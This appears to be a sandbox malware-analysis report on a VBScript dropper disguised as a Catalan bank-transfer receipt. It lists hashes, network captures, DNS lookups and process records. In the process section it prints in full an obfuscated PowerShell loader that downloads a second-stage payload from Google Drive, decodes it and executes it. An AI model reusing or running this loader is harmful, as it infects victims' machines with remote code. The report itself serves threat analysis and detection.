Preview:	<!DOCTYPE html><html><head><title>Google Drive - Infected file</title><meta http-equiv="content-type" content="text/html; charset=utf-8"/><style nonce="UMfsBQsTq-XY-TfH2DmM-w">.goog-link-button{position:relative;color:#15c;text-decoration:underline;cursor:pointer}.goog-link-button-disabled{color:#ccc;text-decoration:none;cursor:default}body{color:#222;font:normal 13px/1.4 arial,sans-serif;margin:0}.grecaptcha-badge{visibility:hidden}.uc-main{padding-top:50px;text-align:center}#uc-dl-icon{display:inline-block;margin-top:16px;padding-right:1em;vertical-align:top}#uc-text{display:inline-block;max-width:68ex;text-align:left}.uc-error-caption,.uc-warning-caption{color:#222;font-size:16px}#uc-download-link{text-decoration:none}.uc-name-size a{color:#15c;text-decoration:none}.uc-name-size a:visited{color:#61c;text-decoration:none}.uc-name-size a:active{color:#d14836;text-decoration:none}.uc-footer{color:#777;font-size:11px;padding-bottom:5ex;padding-top:5ex;text-align:center}.uc-footer a{colo

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.253609590773801
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	justificant de transfer#U00e8ncia.vbs
File size:	215'926 bytes
MD5:	6d2f93878e625759f49553c5f971ddc9
SHA1:	bf821caba21c6786fb3c0657259fa9e6fa09aace
SHA256:	b6938d3e36a7d58523cd80f095f36593e0de47fe6d65dd74e5e91c0719a3849c
SHA512:	de159372554e6618c74f570dbd6e76fc82e6a46a8d31ba60ac1f689416ac10ba2fac6db5ad436be45afbf6224fe0a1b2c7e0113d6339972c425cdb1008d32b15
SSDEEP:	6144:eYBgIjQvrMbWSR4WHUJJs9E87Fy4lZrUChpqKmjum4QlNVrDjXR46cCPCRJfaqVf:T2dOfxcg
TLSH:	3D2419F08F0B36199F5B3EDAAC6445928AF84195051238B5AAD817EDB383D2CD3FDD18
File Content Preview:	..'Lollup kystvagt? newscasters195: wirrah: premade..'fernbrake; overdominating dures forsgsordnings?..'Rashnesses; ulykkesfuglene depositive stimulansers72..'Makroerne bidery? typewrote..'Jagtbderne nonleprous..'Dateringsforsgets128, maries:.. ..'Tordenb

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 11:05:16.054936886 CEST	49701	443	192.168.2.7	142.250.105.102
Apr 18, 2024 11:05:16.054970980 CEST	443	49701	142.250.105.102	192.168.2.7
Apr 18, 2024 11:05:16.055042028 CEST	49701	443	192.168.2.7	142.250.105.102
Apr 18, 2024 11:05:16.064388037 CEST	49701	443	192.168.2.7	142.250.105.102
Apr 18, 2024 11:05:16.064399004 CEST	443	49701	142.250.105.102	192.168.2.7
Apr 18, 2024 11:05:16.286257982 CEST	443	49701	142.250.105.102	192.168.2.7
Apr 18, 2024 11:05:16.286343098 CEST	49701	443	192.168.2.7	142.250.105.102
Apr 18, 2024 11:05:16.287364006 CEST	443	49701	142.250.105.102	192.168.2.7
Apr 18, 2024 11:05:16.287442923 CEST	49701	443	192.168.2.7	142.250.105.102
Apr 18, 2024 11:05:16.291817904 CEST	49701	443	192.168.2.7	142.250.105.102
Apr 18, 2024 11:05:16.291831017 CEST	443	49701	142.250.105.102	192.168.2.7
Apr 18, 2024 11:05:16.292148113 CEST	443	49701	142.250.105.102	192.168.2.7
Apr 18, 2024 11:05:16.303242922 CEST	49701	443	192.168.2.7	142.250.105.102
Apr 18, 2024 11:05:16.348123074 CEST	443	49701	142.250.105.102	192.168.2.7
Apr 18, 2024 11:05:16.517982960 CEST	443	49701	142.250.105.102	192.168.2.7
Apr 18, 2024 11:05:16.518062115 CEST	443	49701	142.250.105.102	192.168.2.7
Apr 18, 2024 11:05:16.518114090 CEST	49701	443	192.168.2.7	142.250.105.102
Apr 18, 2024 11:05:16.521810055 CEST	49701	443	192.168.2.7	142.250.105.102
Apr 18, 2024 11:05:16.629200935 CEST	49702	443	192.168.2.7	142.250.105.132
Apr 18, 2024 11:05:16.629245996 CEST	443	49702	142.250.105.132	192.168.2.7
Apr 18, 2024 11:05:16.629394054 CEST	49702	443	192.168.2.7	142.250.105.132
Apr 18, 2024 11:05:16.629710913 CEST	49702	443	192.168.2.7	142.250.105.132
Apr 18, 2024 11:05:16.629724979 CEST	443	49702	142.250.105.132	192.168.2.7
Apr 18, 2024 11:05:16.848205090 CEST	443	49702	142.250.105.132	192.168.2.7
Apr 18, 2024 11:05:16.848277092 CEST	49702	443	192.168.2.7	142.250.105.132
Apr 18, 2024 11:05:16.851458073 CEST	49702	443	192.168.2.7	142.250.105.132
Apr 18, 2024 11:05:16.851474047 CEST	443	49702	142.250.105.132	192.168.2.7
Apr 18, 2024 11:05:16.851731062 CEST	443	49702	142.250.105.132	192.168.2.7
Apr 18, 2024 11:05:16.852663994 CEST	49702	443	192.168.2.7	142.250.105.132
Apr 18, 2024 11:05:16.900118113 CEST	443	49702	142.250.105.132	192.168.2.7
Apr 18, 2024 11:05:17.468075037 CEST	443	49702	142.250.105.132	192.168.2.7
Apr 18, 2024 11:05:17.468156099 CEST	443	49702	142.250.105.132	192.168.2.7
Apr 18, 2024 11:05:17.468174934 CEST	49702	443	192.168.2.7	142.250.105.132
Apr 18, 2024 11:05:17.468199968 CEST	443	49702	142.250.105.132	192.168.2.7
Apr 18, 2024 11:05:17.468223095 CEST	443	49702	142.250.105.132	192.168.2.7
Apr 18, 2024 11:05:17.468250990 CEST	49702	443	192.168.2.7	142.250.105.132
Apr 18, 2024 11:05:17.468293905 CEST	49702	443	192.168.2.7	142.250.105.132
Apr 18, 2024 11:05:17.469820976 CEST	49702	443	192.168.2.7	142.250.105.132

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 11:05:15.942929029 CEST	62908	53	192.168.2.7	1.1.1.1
Apr 18, 2024 11:05:16.049731970 CEST	53	62908	1.1.1.1	192.168.2.7
Apr 18, 2024 11:05:16.523971081 CEST	54004	53	192.168.2.7	1.1.1.1
Apr 18, 2024 11:05:16.628516912 CEST	53	54004	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 18, 2024 11:05:15.942929029 CEST	192.168.2.7	1.1.1.1	0x8ac5	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:05:16.523971081 CEST	192.168.2.7	1.1.1.1	0x57b1	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 18, 2024 11:05:12.455432892 CEST	1.1.1.1	192.168.2.7	0x4fa6	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:05:12.455432892 CEST	1.1.1.1	192.168.2.7	0x4fa6	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:05:16.049731970 CEST	1.1.1.1	192.168.2.7	0x8ac5	No error (0)	drive.google.com	142.250.105.102	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:05:16.049731970 CEST	1.1.1.1	192.168.2.7	0x8ac5	No error (0)	drive.google.com	142.250.105.139	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:05:16.049731970 CEST	1.1.1.1	192.168.2.7	0x8ac5	No error (0)	drive.google.com	142.250.105.101	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:05:16.049731970 CEST	1.1.1.1	192.168.2.7	0x8ac5	No error (0)	drive.google.com	142.250.105.138	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:05:16.049731970 CEST	1.1.1.1	192.168.2.7	0x8ac5	No error (0)	drive.google.com	142.250.105.100	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:05:16.049731970 CEST	1.1.1.1	192.168.2.7	0x8ac5	No error (0)	drive.google.com	142.250.105.113	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:05:16.628516912 CEST	1.1.1.1	192.168.2.7	0x57b1	No error (0)	drive.usercontent.google.com	142.250.105.132	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:06:09.520728111 CEST	1.1.1.1	192.168.2.7	0x35bc	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:06:09.520728111 CEST	1.1.1.1	192.168.2.7	0x35bc	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:06:29.669795990 CEST	1.1.1.1	192.168.2.7	0xd886	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:06:29.669795990 CEST	1.1.1.1	192.168.2.7	0xd886	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	142.250.105.102	443	7180	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 09:05:16 UTC	215	OUT	GET /uc?export=download&id=1SEGcwBcOPuC6M5vDjkNXiPzaZozdUe2w HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Connection: Keep-Alive
2024-04-18 09:05:16 UTC	1582	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 18 Apr 2024 09:05:16 GMT Location: https://drive.usercontent.google.com/download?id=1SEGcwBcOPuC6M5vDjkNXiPzaZozdUe2w&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-sOUCUmm-HrwKYlvp0vH57g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	142.250.105.132	443	7180	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 09:05:16 UTC	233	OUT	GET /download?id=1SEGcwBcOPuC6M5vDjkNXiPzaZozdUe2w&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-04-18 09:05:17 UTC	2128	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPqyS0Yhbmqx6zW-RI3U6EIjvfYgGQYYb2u7awBIdurX9kIU5UGOkRdeiALxL_u02nfh5VSPtza7aQ Content-Type: text/html; charset=utf-8 Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 18 Apr 2024 09:05:17 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-qEUJmKBS8Q-UrgglfnLz4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy: same-origin reporting-endpoints: default="/_/DriveUntrustedContentHttp/web-reports?context=eJzj0tDikmLw1pBisN47ndUeiJ3SZ7CGAPHqn-dY1wPx4rDzrCuAWIiH4-yR5o1sAj8ajx9iBAAKNBVt" Content-Length: 1692 Server: UploadServer Set-Cookie: NID=513=i1GFo3efWgkLWrNVrrGTMOapWjrMb1uJykQ7t9a_HMvC6sX7Ilq6CN4FeavckIsE_Ok9Tz_t82hkEnT_6f11QNmli6OsRCUekhFexnUmwUeYRMH7NIOSvoH7gYFoybT2gn5rhPd2MJPFNEnTZ8BDLXFEx1GtO7MEeHeLMzXIim0; expires=Fri, 18-Oct-2024 09:05:17 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-04-18 09:05:17 UTC	1692	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 47 6f 6f 67 6c 65 20 44 72 69 76 65 20 2d 20 49 6e 66 65 63 74 65 64 20 66 69 6c 65 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 4d 66 73 42 51 73 54 71 2d 58 59 2d 54 66 48 32 44 6d 4d 2d 77 22 3e 2e 67 6f 6f 67 2d 6c 69 6e 6b 2d 62 75 74 74 6f 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6f 6c 6f 72 3a 23 31 35 63 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 63 75 72 73 6f 72 Data Ascii: <!DOCTYPE html><html><head><title>Google Drive - Infected file</title><meta http-equiv="content-type" content="text/html; charset=utf-8"/><style nonce="UMfsBQsTq-XY-TfH2DmM-w">.goog-link-button{position:relative;color:#15c;text-decoration:underline;cursor

Target ID:	0
Start time:	11:05:11
Start date:	18/04/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\justificant de transfer#U00e8ncia.vbs"
Imagebase:	0x7ff6a87c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:05:13
Start date:	18/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function Baroclinicity($Genforenende){$Piccoloerne=$Genforenende.Length-$Skraaningsvinklen;For($Vainness=5; $Vainness -lt $Piccoloerne; $Vainness+=(6)){$Flyttende+=$Genforenende.$Fotografiapparaternes202.Invoke($Vainness, $Skraaningsvinklen);}$Flyttende;}function parasols($Dugpunkts){. ($isskabes) ($Dugpunkts);}$Strandedness=Baroclinicity 'Age eMMicrooSyd,rzThermiToftmlS lenlMarp,a Mak /Relev5Samov.Blood0 fte Thol( efolW TeltiD arfnAnk.nd BagsoCampiwG,debsOmnip Fo laNBrndsTGgele Stikh1 S,ud0frang. Kond0Thoke;,aptu RumguWKoalii,arpenMongr6 Lu,s4 .nde;Sexua UnderxGejrp6Tou,n4 Midw;Dista MalmrVisitv,teto:Hykle1Dryad2 Hard1Cysto.Clupe0Prcis) boga LaborGEneboeChenicBureak Clemo Gang/Flgev2Sm.at0Dsles1 nnih0 Ribn0oxli,1 T.ag0Etape1 Otm emulFDataliHastur BliteMiscofOverboSalgsx ulph/ ,her1Decim2 Bero1A,ieh.Thras0Opstt ';$Budgetforslags=Baroclinicity 'VelseUBlurssBrnepeForlgrharmo-SaddeABefrugDeso,eSneglnQuatrtDilog ';$Programbibliotekerne=Baroclinicity 'InfamhBrygmt DisptFluespUlovmsTypeh: ,thi/Narco/Und rdRenour Hel,i skftv DetieFring.MaanegRverko orkaoPrincg femvlBrazie ,rof. Pro,cFlertoC,burm K ge/SekunuTska.cSekre? kriteUnstaxForedp Vando SealrInd.at dspa= Ranud TykmoStru w.lasknNa lsl HattoSu,ceaLibiddSmitt&HippoiVan hdAbsin=Infor1Ra koSH.ktiEb.lavG PruncDis iwK,lleB HanlcDeterOSpaliPTodiduIntr.C Bldg6BefliM,tipu5Subscv aturD AlimjPrimukAnnekN HandXRagiuiHovedP DraczSvingaRetrtZPa,ktoConcezmega.dConsiUStowbePrsen2 NdriwRaen. ';$Noninductively=Baroclinicity 'Ubeh.>C.rap ';$isskabes=Baroclinicity ' osoniTagryeB lstxCha,l ';$Leisjes = Baroclinicity 'sejtreFristc ,olihEndo,oYemel Steff%Anti.aMinicpSpindpSluggdResida SuivtSoundaDagce%Burkg\HemagCTalrkoW mbwl.otheoOvergusmrgarbaadfa Yamst nderiFoolsoAleu,n Call.Zool.AMerogfMapuchDonk, Belor&Welte&Uhlan EndeveTil.ucRustlhWebe.o Pred Post$Sagge ';parasols (Baroclinicity 'Victu$Skrpeg FrivlInduso Omstbeks.ma NeollBe.kn:LevelP,evier,llano,ivisgUnregrThundaAlumim,agfjmCytoseSkinnrRetu.iChiconWe,trgLo dosPreovm,sbryaH,ilkeEj rssEskilsColliiUnactgNedlu=Borto(Ud,mecRentemr,ckid Styr S,ati/georgc E.gy Overt$DispeLSweeteGesanihoneysAesirjFr,eseEqua,sSerr,)saliv ');parasols (Baroclinicity 'Engan$SpilugSordal .mmeoErhvebT appaDamp,l Part: ackhAD spivColumeF nden rettiTungnn B lr=Hachi$ Se uPErlggrLivero mpongRegiorTzotzaColismBenefbDvehjiOtolob BelclAlmeiiEk,troHylomt aadreFormokcentueInterr paanEulogeFavis.Rensks HullpIdeallUreteipraestAssor(Sol r$MalefNOmregoThomanViftei .robnMejetdSjagguIncorcEndowtCideriSolcrv Oak.e,oarrlHu.boy Tax,)De,in ');$Programbibliotekerne=$Avenin[0];parasols (Baroclinicity ' F,rh$Ergong u.tyl Eth oBlomkbSubdaaOparbl,lind:str kpSt,ndh PimpyCivillmun rlForgioSociam itniaCrocknAudi,cUne.cySquam=Pig oN koreeDra bwNarci- StowO UnspbBonitjYderpeSporec murktSwopc SignaSCederyDisposCounttMargeeBattemEtage.SaareNDousee Pra,tTriqu.SixfoWTopfoe Tim bRe maCSideblprelei BlgeeOverfnTek,ttRigsa ');parasols (Baroclinicity 'fremm$ GeggpDememh orhaysmertlT,maclIsthmoM,metmRetroaVan,tnMo gecAngolyTel,g.Cap,cH Na seBarbaaJuveld FdereSkkelrRaabesVcrum[Preva$CategB SelvuLymphdGigabgHex.deArnolt FootfSorehoKoki,r BactsBodyblJord aHypergBos isGast.]Raens=Aflaa$ZafreSMrkvrt Can rcolesaAlmennRe ndd AbsceCistodtykpan SemieAntipsN veasUdspr ');$Damasker=Baroclinicity 'Fe ogpProcahR tteyvesiclschatlJegrooDi cimAcousa SpinnGaeldcSinciySkede.reg,nD.lefaoEfterwabrogn TegllSigbroIrrecaunviadTr.feFAt.niiOverclToaareMo,nw(Kontr$Sejr PIndk,rRll.koJayvegInsi.rGrundaWhatrmBytt,b HypoiGad.nb KondlSlangiPatacoBugspt D oseGennekBlnd.eAr her HispnForkaeDatak,Croft$Ne.ghS EkspnAvlsseBogbidAulopsUng.n)Nudit ';$Damasker=$Programmeringsmaessig[1]+$Damasker;$Sneds=$Programmeringsmaessig[0];parasols (Baroclinicity 'overm$K.selgJamb.lFormaoIhndebikrafa,eriel,till: Hin,B,boniiTaleslExchal Erhvi Oxygg BlgegMa,icrAdopte Diakl KonssRo lyeHyposrMiszo= Net (ForhaT luste Tubus implt Ha,d- SldePForhraFigurtMinibhAmam Fde.a$ HjlaSPaahonFundgeF,rfad DetasForkl).lgod ');while (!$Billiggrelser) {parasols (Baroclinicity 'S.eve$OplivgBudsnlSp aeoBrsnobbou oaSespelPlebe:A,eliTVatikuStiltsskildimaternSpiridDigtesHldnitAnissr Fa iaElskoaUnshrlCorroe Nvn.rquake= Beau$ lapptHistirFr ueuRyg reforpl ') ;parasols $Damasker;parasols (Baroclinicity 'Bog.oSPrototRorpiaInquirP,otetEfte,-CykelS .irclKobbeeAlle,eOmklap,remm ,rav4Ekspe ');parasols (Baroclinicity 'Rrfla$EftergDolomlKerauoA.milbProphaAarvalstryg:BisatBAr.ibiCate.lHeinel AntriVgtstg Ka agAutocrReexpeEquallPhotosDelebeEt.oxr Maks= Admi(Udf.dTReinseIgnavs BrndtStofm- fyrsP Nvnea Mar,tAux.lh Jo u kano$Chal,SFleksnInst eFordedTavolsUnrel)Kemof ') ;parasols (Baroclinicity 'Twist$ArbejgThe ilGarago UndebEvideaBesl.lBe,je:NonseS OrdstUb fre Mosenstoleo LrligKopmarM,rcuaOplsnmCroucm,ladseSt.kkt Scols U ca=Perip$ nticg mporlBiplaoByfesbHvnedaLretilIldeb:MachaSB asfuFo,anbSmaa.f schraTankelKokkecLudediCalamf,kkomoEl smrstan.mswart+Becke+Skraa%Famle$BrandA,eriavSpodee dfon NybeiKumpanKolog. GospcGoldeo,rammuSymm,nDataltSvejs ') ;$Programbibliotekerne=$Avenin[$Stenogrammets];}parasols (Baroclinicity ' .lin$Tempog RecalLiquiozoos,bAlteraNdsitlOve v:FilmoLL vkeaAfdrynOpkald tormsAsturbPyknoyFlagep.elvsrShadosSvvebtNiskeeNovaenMacaw Wair,=Udvis ga.kGNest eUparrtskoma-Hu meCMadpaoskjornFlekstDietie OptonMetrotDilet Besin$ UnreSCentrnCultueLiflidPat.isUbevi ');parasols (Baroclinicity 'Armek$basgugUdlanlTrr.loCytosbsabataRvejalProce:Ou prOKandivUdlane UnferKil.nmforlnaAftrdrTrsnikUsm nilindbnMiswrg Ern. Wheat=Ham.e Benni[ WorkSDetaiy BovrsMicrot GyneePrecam ,rat.PrestCHemipoStrannRb,rtvRdby.e DimyrDegust .onh]Bindi:Bedre:DeraiFGrupprTerreoUnisemudbomBla.tvaForbrsSupereBygni6.piso4UnepiS Ahant DenarSubcliDisinnAfbetg Para(Vak,u$ L tuLManagaSqui nHje md h,resBurleb ansoyYdemepDiskorSl,ansPeltit DemoeF.nesn Hule)Anemo ');parasols (Baroclinicity '.onoc$BidiagLforblBlartounp ibMell abuslilI dek:WhiffAElectnUd.ybtSkkephamidoo Acrom .vote FonedFer euGloris GifoaU ntae ack ,lsk= Udlb Elsk[.alkeSGemmey TallsB somt Strae Fll mIntra. afbrTSkrfeeCiconxA trataffyr.Keel EVan gnDelficPlatoo Uvild Svumi nfln Karlg d.ma]Dreje:Smile:Femi,ASleavS Mil,CBundlIStbegIUvorn. BiasGFagoteNorditP,enoSTolertUnwarr AppoiLoudenSelbog.uniw(Clar $Perm.OKr blv M lieSka,orOphvemBourtaHgte,r .eilkOutediCenten PuyagSu.pm) Reco ');parasols (Baroclinicity ' Morp$byg egPaiwalTankeoMetenb ContaDribllDhunc:ProtoBS,nkieAdminkOmflylTanklecivi mPredemGenbre UdkanHjlped Po,yeWa,er=Nudat$GrafiA Projn Philt GutthK.sseoochermTak ne .emrd LoweuFestfs SlaaaL.ttee N.nm. Ar,isSpilduSpecibDrusesGkanttTrykarTomatiInclin revpgHaggy(Gooie2Slags8Indgi4 noha4Hawke5Fortr3Kaoli,Brams2guara8Milit9Masti4U,der5 .amm)fde a ');parasols $Beklemmende;"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:05:13
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:05:15
Start date:	18/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Colouration.Afh && echo $"
Imagebase:	0x7ff7a01a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFAAC4140B9 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1482426513.00007FFAAC410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b70a1b4ad11fe0eec5232efa41dee62377efe78891e137c5fb6202adb493e79b
Instruction ID: e599baeb251b82598a13f3fbaa21150a09dab8cc4635fc8461943c39afeab00a
Opcode Fuzzy Hash: b70a1b4ad11fe0eec5232efa41dee62377efe78891e137c5fb6202adb493e79b
Instruction Fuzzy Hash: 38E17C72A4EBCA8FF795DB2888595B47BE1FF56364B1841BAD08DC31D3CE18D8098385

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC417D95 Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1482426513.00007FFAAC410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e13e15d454b24ac4540e8aeecc5405c3436565104328f0f16819830bf8e90776
Instruction ID: 1fbf1f2c4aa71f67a5c3dabad8a69bd6ab5aad6ea8b9448921bda0fe9925b667
Opcode Fuzzy Hash: e13e15d454b24ac4540e8aeecc5405c3436565104328f0f16819830bf8e90776
Instruction Fuzzy Hash: 77D1347294EBCA8FF79597288819AB5BFE0EF52214B1841FAD48DC70D3DA18D808C395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC4155BE Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1482426513.00007FFAAC410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ccbe888ca04904645d32b815adafb6f8fb7009b6c15b1313494028f8a136e9
Instruction ID: 19a3f2caa2218d42b6385a1d28b4c023b68618566cf9fa6a8368c025f552384f
Opcode Fuzzy Hash: 22ccbe888ca04904645d32b815adafb6f8fb7009b6c15b1313494028f8a136e9
Instruction Fuzzy Hash: F451DE9198F3C69FE79797780C695B53FA4DF53118B0940FBE0CDCB1A3D808990A8396

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC414257 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1482426513.00007FFAAC410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b8ea9116ff9ea3a5faef83d5e1e50c761145b54eece5e85fe4a82898cff63f6
